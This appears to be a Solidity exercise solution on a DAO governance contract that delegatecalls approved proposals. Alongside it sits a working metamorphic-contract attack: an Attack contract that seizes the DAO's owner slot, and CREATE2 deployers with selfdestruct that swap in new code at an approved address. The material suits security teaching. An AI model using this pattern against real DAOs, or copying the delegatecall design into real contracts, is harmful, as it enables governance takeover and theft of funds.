// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Question0012Solution {
    struct Proposals {
        address target;
        bool approved;
        bool executed;
        uint size;
    }

    address public owner = msg.sender;
    Proposals[] public proposals;

    function approve(address target) external {
        require(msg.sender == owner, "not authorized");
        uint size;
        assembly {
            size := extcodesize(target)
        }
        
        proposals.push(Proposals({target: target, approved: true, executed: false, size:size}));
    }

    function execute(uint256 proposalId) external payable {
        Proposals storage proposal = proposals[proposalId];
        require(proposal.approved, "not approved");
        require(!proposal.executed, "executed");
        uint size;
        address target = proposal.target;
        assembly {
            size := extcodesize(target)
        }
        require(size == proposal.size, "size not match");
        proposal.executed = true;

        (bool ok, ) = proposal.target.delegatecall(
            abi.encodeWithSignature("executeProposal()")
        );
        require(ok, "delegatecall failed");
    }
}

contract Proposal {
    event Log(string message);

    function executeProposal() external {
        emit Log("Excuted code approved by DAO");
    }

    function emergencyStop() external {
        selfdestruct(payable(address(0)));
    }
}

contract Attack {
    event Log(string message);

    address public owner;

    function executeProposal() external {
        emit Log("Excuted code not approved by DAO :)");
        // For example - set DAO's owner to attacker
        owner = msg.sender;
    }
}

contract DeployerDeployer {
    event Log(address addr);
    bytes32 salt = keccak256(abi.encode(uint(123)));
    function deploy() external returns(address){
        address addr = address(new Deployer{salt: salt}());
        emit Log(addr);
        return addr;
    }
}

contract Deployer {
    event Log(address addr);

    function deployProposal() external returns(address){
        address addr = address(new Proposal());
        emit Log(addr);
        return addr;
    }

    function deployAttack() external returns(address){
        address addr = address(new Attack());
        emit Log(addr);
        return addr;
    }

    function kill() external {
        selfdestruct(payable(address(1)));
    }
}
